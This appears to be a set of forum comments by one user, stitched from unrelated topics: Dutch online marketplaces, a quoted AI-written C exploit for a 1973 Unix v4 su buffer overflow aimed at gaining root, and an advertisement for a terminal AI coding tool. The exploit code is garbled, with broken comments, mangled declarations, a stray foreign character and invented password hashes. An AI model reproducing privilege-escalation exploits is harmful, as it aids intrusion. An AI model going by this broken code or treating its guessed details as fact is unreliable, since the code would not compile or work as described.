b-kuiper

i also find, with the arrival of catawiki (more a european market?), nice products for regular/normal prices seems hard to come by nowadays. Our "local" online market (marktplaats.nl) is therefore losing its value, local (town/neighborhood) (whats)app groups seem to somewhat take over this roll within the digital space.

perhaps the downvoters can tell me why they are downvoting? i'm curious to hear whether if this would work on unix v4 or whether there are special things to consider. I thought i would ask claude for a basic example so people could perhaps provide feedback. i guess people consider it low effort reply? anyway, thanks for your input.

claude tells me this:

/* * Historical exploit for Unix v4 su buffer overflow * For educational purposes only - demonstrates 1973-era vulnerability /

#include <stdio.h>

#define OFFSET 100 / size of password buffer /

main() { char exploit[200]; char p; int i;

    /*
     * Strategy: Overflow password[] into pwbuf[]
     * 
     * Memory layout:
     *   password[100]  <- we write here
     *   pwbuf[100]     <- overflow target
     * 
     * pwbuf format: "root:ENCRYPTED:0:0:..."
     * After getpw(), pointer p points to ENCRYPTED portion
     * 
     * We overwrite pwbuf with "root::" (empty password field)
     * But the *++p == ':' check already happened...
     * 
     * So we must make crypt(input) match our crafted hash
     */
    
    p = exploit;
    
    /* 
     * Fill password buffer with known value
     * Using spaces - crypt(" "*100) on v4 gives predictable output
     */
    for(i = 0; i < OFFSET; i++)
        *p++ = ' ';
    
    /*
     * Overwrite pwbuf - craft it so password hash matches
     * crypt() output for spaces, followed by ':'
     * 
     * v4 crypt of spaces = "k." (simplified - actual depends on salt)
     * We write: "root:k.:"
     */
    *p++ = 'r';
    *p++ = 'o'; 
    *p++ = 'o';
    *p++ = 't';
    *p++ = ':';
    /* Position where p points after first ':' */
    *p++ = 'k';  /* Match crypt() output */
    *p++ = '.';
    *p++ = ':';  /* Terminating ':' for password field */
    *p++ = '\n'; /* End input */
    *p = '\0';
    
    /* Output exploit string */
    write(1, exploit, p - exploit);

}

--

/* * Self-matching exploit: make input match its own crypt output / #include <stdio.h>

main() { char buf[200]; char crypted; char p = buf; int i;

    /* Use a known password whose crypt() we know */
    char *known_pw = "test";           /* Our chosen password */
    char *known_hash = "q.mिJkLmN";     /* crypt("test") on v4 - example */
    
    /* Fill 100 bytes with our known password, padded */
    for(i = 0; i < 100; i++)
        *p++ = (i < 4) ? known_pw[i] : '\0';
    
    /* Overflow into pwbuf with: "root:<known_hash>:" */
    strcpy(p, "root:");
    p += 5;
    strcpy(p, known_hash);
    p += strlen(known_hash);
    *p++ = ':';
    *p++ = '\n';
    
    write(1, buf, p - buf);

}

--

so, is there already somebody that wrote the exploit for it? are there any special things to consider exploiting such architecture back in the day or do the same basic principles apply?

we are working on Aye Chat: an AI development tool for the terminal. It will make changes directly and let you revert changes through our snapshot feature, all while you can stay in the terminal to execute your favorite (terminal) editor and what not.

If allows the use of different models, no need to sign-up at the moment and at no cost. We released our beta just last week.

We were getting annoyed by all the additional confirmation questions by other AI assistants, and having to switch between consoles to use a editor and/or revert changes.

Check out our repo at: https://github.com/acrotron/aye-chat

or just install it:

# pip install ayechat